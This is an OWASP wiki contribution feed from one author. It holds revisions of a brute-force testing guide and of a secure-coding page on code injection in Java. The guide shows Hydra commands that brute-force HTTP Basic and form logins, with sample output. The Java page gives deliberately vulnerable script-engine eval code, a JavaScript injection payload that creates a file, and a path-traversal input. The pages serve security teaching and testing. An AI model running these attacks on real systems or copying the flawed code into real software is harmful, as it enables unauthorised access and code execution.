https://wiki.owasp.org/api.php?action=feedcontributions&feedformat=atom&user=Neil+BergmanOWASP - User contributions [en]2026-05-01T16:17:14ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=User:Neil_Bergman&diff=130709User:Neil Bergman2012-05-30T12:43:59Z<p>Neil Bergman: Blanked the page</p>
<hr />
<div></div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=User:Neil_Bergman&diff=109380User:Neil Bergman2011-04-22T02:48:03Z<p>Neil Bergman: </p>
<hr />
<div>Neil Bergman works as a consultant at Cigital. He has been programming since a child and in his copious amounts of free time he composes electronic music and practices kung fu. <br />
<br />
Neil can be reached at: nebergma (!a+t!) gmail d0t com</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=User:Neil_Bergman&diff=92570User:Neil Bergman2010-11-09T20:58:01Z<p>Neil Bergman: </p>
<hr />
<div>Neil Bergman works as an associate consultant at Cigital. He has been programming since a child and in his copious amounts of free time he composes electronic music and practices kung fu. <br />
<br />
Neil can be reached at: nebergma (!at!) gmail.com</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=User:Neil_Bergman&diff=92569User:Neil Bergman2010-11-09T20:57:32Z<p>Neil Bergman: </p>
<hr />
<div>Neil Bergman works as an associate consultant at Cigital. He has been programming since a child and in his copious free time he composes electronic music and practices kung fu. <br />
<br />
Neil can be reached at: nebergma (!at!) gmail.com</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Testing_for_Brute_Force_(OWASP-AT-004)&diff=70727Testing for Brute Force (OWASP-AT-004)2009-10-04T20:57:52Z<p>Neil Bergman: </p>
<hr />
<div>{{Template:OWASP Testing Guide v3}}<br />
<br />
== Brief Summary ==<br />
Brute forcing consists of systematically enumerating all possible candidates for the solution and checking whether each candidate satisfies the problem's statement. In web application testing, the problem we are going to face with the most is very often connected with the need of having a valid user account to access the inner part of the application.<br />
Therefore we are going to check different types of authentication schema and the effectiveness of different brute-force attacks.<br />
<br />
==Related Security Activities==<br />
<br />
===Description of Brute Force Vulnerabilities===<br />
<br />
See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.<br />
<br />
<br />
<br />
== Description of the Issue == <br />
A great majority of web applications provide a way for users to authenticate themselves. By having knowledge of user's identity it's possible to create protected areas or, more generally, to have the application behave differently upon the logon of different users.<br />
In general, there are several methods for a user to authenticate to a system, like certificates, biometric devices, OTP (One Time Password) tokens. However, in web applications, we usually find a combination of user ID and password. Therefore, it's possible to carry out an attack to retrieve a valid user account and password, by trying to enumerate many (i.e., dictionary attack) or all the possible candidates.<br />
<br />
After a successful brute force attack, a malicious user could have access to:<br />
<br />
* Confidential information / data;<br />
** Private sections of a web application could disclose confidential documents, users' profile data, financial status, bank details, users' relationships, etc.<br />
<br />
* Administration panels;<br />
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.<br />
<br />
* Availability of further attack vectors;<br />
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.<br />
<br />
== Black Box testing and example ==<br />
To leverage different brute forcing attacks, it's important to discover the type of authentication method used by the application, because the techniques and the tools to be used may change accordingly.<br />
<br />
=== Discovery Authentication Methods ===<br />
<br />
Unless an entity decides to apply a sophisticated web authentication, the two most commonly seen methods are as follows:<br />
<br />
* HTTP Authentication;<br />
** Basic Access Authentication<br />
** Digest Access Authentication<br />
* HTML Form-based Authentication;<br />
<br />
The following sections provide some good information on identifying the authentication mechanism employed during a blackbox test.<br />
<br />
<br />
'''HTTP authentication'''<br />
<br />
There are two native HTTP access authentication schemes available to an organization – Basic and Digest. <br />
<br />
* Basic Access Authentication<br />
<br />
Basic Access Authentication assumes clients will identify themselves with a login name (e.g., "owasp") and password (e.g., "password"). When the client browser initially accesses a site using this scheme, the web server will reply with a 401 response containing a “WWW-Authenticate” header, containing a value of “Basic” and the name of the protected realm (e.g., WWW-Authenticate: Basic realm="wwwProtectedSite”). The client browser will then prompt the user for her login name and password for that realm. The client browser then responds to the web server with an “Authorization” header, containing the value “Basic” and the base64-encoded concatenation of the login name, a colon, and the password (e.g., Authorization: Basic b3dhc3A6cGFzc3dvcmQ=). Unfortunately, the authentication reply can be easily decoded should an attacker sniff the transmission.<br />
<br />
Request and Response Test:<br />
<br />
1. Client sends standard HTTP request for resource:<br />
<pre><br />
GET /members/docs/file.pdf HTTP/1.1<br />
Host: target<br />
</pre><br />
<br />
2. The web server states that the requested resource is located in a protected directory.<br />
<br />
3. Server sends response with HTTP 401 Authorization Required:<br />
<br />
<pre><br />
HTTP/1.1 401 Authorization Required<br />
Date: Sat, 04 Nov 2006 12:52:40 GMT<br />
WWW-Authenticate: Basic realm="User Realm"<br />
Content-Length: 401<br />
Keep-Alive: timeout=15, max=100<br />
Connection: Keep-Alive<br />
Content-Type: text/html; charset=iso-8859-1<br />
</pre><br />
<br />
4. Browser displays challenge pop-up for username and password data entry.<br />
<br />
5. Client resubmits HTTP Request with credentials included:<br />
<br />
<pre><br />
GET /members/docs/file.pdf HTTP/1.1<br />
Host: target<br />
Authorization: Basic b3dhc3A6cGFzc3dvcmQ=<br />
</pre><br />
<br />
6. Server compares client information to its credentials list.<br />
<br />
7. If the credentials are valid, the server sends the requested content. If the authorization fails, the server resends HTTP status code 401. If the user clicks Cancel the browser will likely display an error message.<br />
If an attacker is able to intercept the request from step 5, the string<br />
<br />
b3dhc3A6cGFzc3dvcmQ= <br />
could simply be base64 decoded as follows (Base64 Decoded): <br />
owasp:password<br />
<br />
If the tester is able to intercept the HTTP request of a basic authentication request, it is not necessary to apply brute-force techniques to uncover the credentials. Simply use a base64 decoder on the sniffed request. However, if the tester is unable to intercept the HTTP request, the tester should use brute force tools.<br />
<br />
* Digest Access Authentication<br />
<br />
Digest Access Authentication expands upon the security of Basic Access Authentication by using a one-way cryptographic hashing algorithm (MD5) to encrypt authentication data and, secondly, adding a single use (connection unique) “nonce” value set by the web server. This value is used by the client browser in the calculation of a hashed password response. While the password is obscured by the use of the cryptographic hashing and the use of the nonce value precludes the threat of a replay attack, the login name is submitted in clear text.<br />
<br />
Request and Response Test:<br />
<br />
1. Here is an example of the initial Response header when handling an HTTP Digest target:<br />
<br />
<pre><br />
HTTP/1.1 401 Unauthorized<br />
WWW-Authenticate: Digest realm="OwaspSample", <br />
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ", <br />
opaque="0000000000000000", \<br />
stale=false, <br />
algorithm=MD5, <br />
qop="auth"<br />
</pre><br />
<br />
2. The Subsequent response headers with valid credentials would look like this:<br />
<br />
<pre><br />
GET /example/owasp/test.asmx HTTP/1.1<br />
Accept: */*<br />
Authorization: Digest username="owasp", <br />
realm="OwaspSample", <br />
qop="auth", <br />
algorithm="MD5", <br />
uri="/example/owasp/test.asmx", <br />
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ", <br />
nc=00000001, <br />
cnonce="c51b5139556f939768f770dab8e5277a", <br />
opaque="0000000000000000", <br />
response="2275a9ca7b2dadf252afc79923cd3823" <br />
</pre><br />
<br />
<br />
'''HTML Form-based Authentication'''<br />
<br />
While both HTTP access authentication schemes may appear suitable for commercial use over the Internet, particularly when used over an SSL encrypted session, many organizations have chosen to utilize custom HTML and application level authentication procedures, in order to provide a more sophisticated authentication procedure.<br />
<br />
Source code taken from a HTML form:<br />
<br />
<pre><br />
<form method="POST" action="login"><br />
<input type="text" name="username"><br />
<input type="password" name="password"><br />
</form><br />
</pre><br />
<br />
=== Brute force Attacks ===<br />
<br />
After having listed the different types of authentication methods for a web application, we will explain several types of brute force attacks. <br />
<br />
* Dictionary Attack<br />
Dictionary-based attacks consist of automated scripts and tools that will try to guess usernames and passwords from a dictionary file. A dictionary file can be tuned and compiled to cover words probably used by the owner of the account that a malicious user is going to attack. The attacker can gather information (via active/passive reconnaissance, competitive intelligence, dumpster diving, social engineering) to understand the user, or build a list of all unique words available on the website. <br />
<br />
* Search Attacks<br />
Search attacks will try to cover all possible combinations of a given character set and a given password length range. This kind of attack is very slow because the space of possible candidates is quite big. For example, given a known user ID, the total number of passwords to try, up to 8 characters in length, is equal to 26^(8) in a lower alpha charset (more than 200 billion possible passwords!). <br />
<br />
* Rule-based search attacks<br />
To increase the combination space coverage without slowing too much of the process, it's suggested to create good rules to generate candidates. <br />
For example, "John the Ripper" can generate password variations from part of the username or modify through a preconfigured mask words in the input (e.g., 1st round "pen" --> 2nd round "p3n" --> 3rd round "p3np3n").<br />
<br />
'''Bruteforcing HTTP Basic Authentication'''<br />
<br />
<pre><br />
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/<br />
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17<br />
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task<br />
[DATA] attacking service http-head on port 80<br />
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h<br />
[80][www] host: 10.0.0.1 login: owasp password: password<br />
[STATUS] attack finished for www.site.com (waiting for childs to finish)<br />
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34<br />
</pre><br />
<br />
'''Bruteforcing HTML Form Based Authentication'''<br />
<br />
<pre><br />
raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form<br />
"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &<br />
<br />
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.<br />
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17<br />
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task<br />
[DATA] attacking service http-post-form on port 443<br />
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)<br />
[443] host: 10.0.0.1 login: owasp password: password<br />
[STATUS] attack finished for www.site.com (waiting for childs to finish)<br />
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34<br />
</pre><br />
<br />
== Gray Box testing and example == <br />
'''Partial knowledge of password and account details'''<br />
<br />
When a tester has some information about length or password (account) structure, it's possible to perform a bruteforce attack with a higher probability of success. In fact, by limiting the number of characters and defining the password length, the total number of password values significantly decreases.<br />
<br />
[[Image:bf-partialknowledge.jpg]]<br />
<br />
'''Memory Trade Off Attacks'''<br />
<br />
To perform a Memory Trade Off Attack, the tester needs at least a password hash previously obtained by the tester by exploiting flaws in the application (e.g., SQL Injection) or sniffing HTTP traffic. Nowadays, the most common attacks of this kind are based on Rainbow Tables, a special type of lookup table used in recovering the plaintext password from a ciphertext generated by a one-way hash.<br />
<br />
Rainbow tables are an optimization of Hellman's Memory Trade Off Attack, where the reduction algorithm is used to create chains with the purpose to compress the data output generated by computing all possible candidates.<br />
<br />
Tables are specific to the hash function they were created for, e.g., MD5 tables can only crack MD5 hashes. <br />
The powerful RainbowCrack program was later developed that can generate and use rainbow tables for a variety of character sets and hashing algorithms, including LM hash, MD5, SHA1, etc.<br />
<br />
[[Image:bf-milworm.jpg]]<br />
<br><br />
<br />
== References ==<br />
'''Whitepapers'''<br><br />
* Philippe Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off - http://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf<br />
'''Links'''<br><br />
* OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/<br />
* Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/<br />
* milw0rm - http://www.milw0rm.com/cracker/list.php<br />
'''Tools'''<br><br />
* THC Hydra: http://www.thc.org/thc-hydra/<br />
* John the Ripper: http://www.openwall.com/john/<br />
* Brutus http://www.hoobie.net/brutus/<br />
<br><br />
<br />
<br />
[[Category:FIXME|link not working:<br />
<br />
* Rainbowcrack.com - http://www.rainbowcrack.com/<br />
]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Code_injection_in_Java&diff=69691Code injection in Java2009-09-24T13:03:12Z<p>Neil Bergman: /* Examples */</p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
<br />
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application. There are a couple ways in which Java code could be injected into an application such as using the scripting API or dynamic JSP includes. Java provides a scripting API that allows code written in scripting languages to access and control Java objects. The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well. If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to inject arbitrary Javascript into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
System.out.println(args[0]);<br />
engine.eval("print('"+ args[0] + "')");<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
In this case, the attacker decides to inject code that creates a file on the file system. <br />
<br />
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //<br />
<br />
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass. There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.<br />
<br />
===Example 2===<br />
<br />
The code below allows a user to control which file is loaded into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
engine.eval(new java.io.FileReader("resources/" + args[0] + ".js"));<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
It is trivial for a user to load script files from other directories. For example, inputting ''../uploads/evil''. The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.<br />
<br />
===Example 3===<br />
<br />
The code below allows the user to control which JSP is loaded using a dynamic include. This is similar to the PHP include statement, but doesn't not allow the inclusion of code from other domains.<br />
<br />
<pre><br />
<% String pageToInclude = getDataFromUntrustedSource(); %><br />
<jsp:include page="<%=pageToInclude %>" /><br />
</pre></div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Code_injection_in_Java&diff=69690Code injection in Java2009-09-24T13:01:00Z<p>Neil Bergman: /* Overview */</p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
<br />
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application. There are a couple ways in which Java code could be injected into an application such as using the scripting API or dynamic JSP includes. Java provides a scripting API that allows code written in scripting languages to access and control Java objects. The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well. If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to inject arbitrary Javascript into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
System.out.println(args[0]);<br />
engine.eval("print('"+ args[0] + "')");<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
In this case, the attacker decides to inject code that creates a file on the file system. <br />
<br />
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //<br />
<br />
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass. There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.<br />
<br />
===Example 2===<br />
<br />
The code below allows a user to control which file is loaded into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
engine.eval(new java.io.FileReader("resources/" + args[0] + ".js"));<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
It is trivial for a user to load script files from other directories. For example, inputting ''../uploads/evil''. The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Code_injection_in_Java&diff=69689Code injection in Java2009-09-24T12:58:35Z<p>Neil Bergman: /* Overview */</p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
<br />
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application. There are a couple ways in which Java code could be injected into application such as using the Java scripting API or dynamic JSP includes. Java provides a scripting API that allows code written in scripting languages to access and control Java objects. The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well. If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to inject arbitrary Javascript into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
System.out.println(args[0]);<br />
engine.eval("print('"+ args[0] + "')");<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
In this case, the attacker decides to inject code that creates a file on the file system. <br />
<br />
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //<br />
<br />
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass. There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.<br />
<br />
===Example 2===<br />
<br />
The code below allows a user to control which file is loaded into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
engine.eval(new java.io.FileReader("resources/" + args[0] + ".js"));<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
It is trivial for a user to load script files from other directories. For example, inputting ''../uploads/evil''. The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&diff=69679OWASP Java Table of Contents2009-09-24T02:49:10Z<p>Neil Bergman: /* Miscellaneous Injection Attacks */</p>
<hr />
<div><b>Key:</b><br />
* xx%: Progress status of the paragraph<br />
* <b>Review</b>: The paragraph needs a review<br />
* TD: Paragraph to be assigned<br />
<br />
==[[J2EE Security for Architects]]==<br />
Discuss the security implications of common J2EE architectures. This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection. Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.<br />
<br />
Any other security concerns that should be addressed during the design phase should also be mentioned here.<br />
===Design considerations===<br />
* Architectural considerations (0%, TD)<br />
** EJB Middle tier (0%, TD)<br />
** Web Services Middle tier (0%, TD)<br />
** Spring Middle tier (0%, TD)<br />
<br />
==[[J2EE Security for Developers]]==<br />
=== Noteworthy Frameworks ===<br />
Discuss important and relevant Java security frameworks that would be useful to architects. The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.<br />
<br />
(0%, Seeking Volunteers)<br />
* Cocoon<br />
* [[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)<br />
* JSecurity<br />
* SiteMesh<br />
* Spring (0%, Adrian San Juan, TD)<br />
* [[Struts]] (0% Jon Forck)<br />
* Tapestry<br />
* Tiles<br />
* Turbine<br />
* Webwork<br />
* [[Wicket]]<br />
<br />
===Java Security Basics===<br />
Provide an introduction into the basic security services provided by the Java language and environment. Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.<br />
* Class Loading (0%, Philippe Clairet)<br />
* Bytecode verifier (0%, Philippe Clairet)<br />
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)<br />
<br />
===Input Validation Overview ===<br />
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. <br />
<br />
===Input Validation ===<br />
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)<br />
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)<br />
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)<br />
<br />
==== [[Preventing SQL Injection in Java]] ====<br />
* Overview <br />
* Prevention (60%, Stephen de Vries, <b>Review</b>)<br />
** White Listing<br />
** Prepared Statements<br />
** Stored Procedures <br />
** Hibernate <br />
** Ibatis (60%, Rohyt Belani, <b>Review</b>)<br />
** Spring JDBC <br />
** EJB 3.0<br />
** JDO<br />
<br />
==== [[Preventing LDAP Injection in Java]] ====<br />
* Overview (100%, Stephen de Vries, Complete)<br />
* Prevention (100%, Stephen de Vries, Complete)<br />
<br />
==== [[XPATH Injection]] ====<br />
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.<br />
* Overview (0%, TD)<br />
* Prevention (0%, TD)<br />
<br />
==== [[Miscellaneous Injection Attacks]] ====<br />
* HTTP Response splitting (0%, TD)<br />
* [[Code injection in Java]] (75%, Neil Bergman, Review)<br />
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)<br />
* Regular Expression (regex) Injections (20%)<br />
<br />
''' Status '''<br />
In progress<br />
<br />
=== Authentication===<br />
* [[Storing credentials]] - (20%, Adrian San Juan, <b>Review</b>)<br />
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, <b>Review</b>)<br />
* [[SSL Best Practices]] - (20%, Philippe Curmin, <b>Review</b>)<br />
* [[Captchas in Java]] - (100%, Dave Ferguson, <b>Review</b>) <br />
* Container-managed authentication with Realms<br />
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)<br />
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, <b>Review</b>)<br />
* [[Password length & complexity]] - (100%, Adrian San Juan, <b>Review</b>)<br />
<br />
===Session Management ===<br />
The generic problems and solutions for session management are covered in the Guide. This section should focus on Java specific examples.<br />
* Logout (0%, TD)<br />
* Session Timeout (0%, TD)<br />
* Absolute Timeout (0%, TD)<br />
* [[Session Fixation in Java]] (100%, Rohyt Belani, <b>Review</b>)<br />
* Terminating sessions (0%, TD)<br />
** Terminating sessions when the browser window is closed<br />
<br />
===Authorization===<br />
* [[Declarative v/s Programmatic]] (10%, TD)<br />
* EJB Authorization (0%, TD)<br />
* Acegi (0%, TD)<br />
* JACC (0%, TD)<br />
* Check horizontal privilege (0%, TD)<br />
<br />
=== Encryption===<br />
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* Storing db secrets (0%, TD)<br />
* Encrypting JDBC connections (0%, TD)<br />
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)<br />
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)<br />
<br />
=== Error Handling & Logging===<br />
* Logging - why log? what to log? log4j, etc. (0%, TD)<br />
* Exception handling techniques (0%, TD)<br />
** fail-open/fail-closed<br />
** resource cleanup<br />
** finally block<br />
** swallowing exceptions<br />
* Exception handling frameworks (50%, TD)<br />
** Servlet spec - web.xml <br />
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)<br />
** JSP errorPage (0%, TD)<br />
* Web application forensics (0%, TD)<br />
<br />
=== Web Services Security ===<br />
* SAML (0%, TD)<br />
* (X)WS-Security (0%, TD)<br />
* SunJWSDP (0%, TD)<br />
* WSS4J (0%, Eelco Klaver)<br />
* XML Signature (JSR 105) (0%, TD)<br />
* XML Encryption (JSR 106) (0%, TD)<br />
<br />
=== Code Analysis Tools ===<br />
The introduction should cover the advantages and short comings of code analysis tools. An overview of the current state of the art and the available tools would go well here. As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.<br />
* Introduction (0%, TD)<br />
* [[:Category:OWASP LAPSE Project]] (100%, <b>Review</b>)<br />
* FindBugs (0%, TD)<br />
** Creating custom rules<br />
* PMD (0%, TD)<br />
** Creating custom rules<br />
* JLint (0%, TD)<br />
* Jmetrics (0%, TD)<br />
<br />
== J2EE Security For Deployers ==<br />
Practical step-by-step guides to securing various J2EE servers. Examples of secure configurations can also be provided for download. If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained. Users of the configurations should be provided with enough information to make their own risk decisions.<br />
=== Securing Popular J2EE Servers ===<br />
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)<br />
* Securing JBoss (0%, TD)<br />
* Securing WebLogic (0%, TD)<br />
* Securing WebSphere (0%, TD)<br />
* Others...<br />
<br />
=== Defining a Java Security Policy ===<br />
Practical information on creating a Java security policies for J2EE servers.<br />
* PolicyTool - JChains already provides this functionality, one policy tool is enough.<br />
* jChains (www.jchains.org) - (0%, TD)<br />
<br />
=== Protecting Binaries ===<br />
* Bytecode manipulation tools and techniques (0%, TD)<br />
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)<br />
* Convert bytecode to native machine code (0%, TD)<br />
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)<br />
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)<br />
<br />
==J2EE Security for Security Analysts and Testers==<br />
* Using Eclipse to verify Java applications (0%, TD)<br />
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)<br />
* Decompiling Java bytecode (0%, TD)<br />
<br />
== [[Java Security Resources]] (ongoing)==<br />
<br />
[[Category:OWASP Java Project]]</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Code_injection_in_Java&diff=68996Code injection in Java2009-09-16T12:30:36Z<p>Neil Bergman: </p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
<br />
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application. Java provides a scripting API that allows code written in scripting languages to access and control Java objects. The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well. If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to inject arbitrary Javascript into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
System.out.println(args[0]);<br />
engine.eval("print('"+ args[0] + "')");<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
In this case, the attacker decides to inject code that creates a file on the file system. <br />
<br />
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //<br />
<br />
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass. There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.<br />
<br />
===Example 2===<br />
<br />
The code below allows a user to control which file is loaded into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
import java.io.*;<br />
<br />
public class Example2 {<br />
public static void main(String[] args) {<br />
try {<br />
ScriptEngineManager manager = new ScriptEngineManager();<br />
ScriptEngine engine = manager.getEngineByName("JavaScript");<br />
engine.eval(new java.io.FileReader("resources/" + args[0] + ".js"));<br />
} catch(Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
</pre><br />
<br />
It is trivial for a user to load script files from other directories. For example, inputting ''../uploads/evil''. The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.</div>Neil Bergmanhttps://wiki.owasp.org/index.php?title=Code_injection_in_Java&diff=68874Code injection in Java2009-09-15T05:30:18Z<p>Neil Bergman: Created page with '==Status== Review ==Overview== Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application. Java prov…'</p>
<hr />
<div>==Status==<br />
Review<br />
<br />
==Overview==<br />
<br />
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application. Java provides a scripting API that allows code written in scripting languages to access and control Java objects. The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well. If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.<br />
<br />
==Examples ==<br />
<br />
===Example 1===<br />
<br />
The code below allows a user to inject arbitrary Javascript into Java's script engine.<br />
<br />
<pre><br />
import javax.script.*;<br />
<br />
public class Example1 {<br />
public static void main(String[] args) {<br />
try {<br />
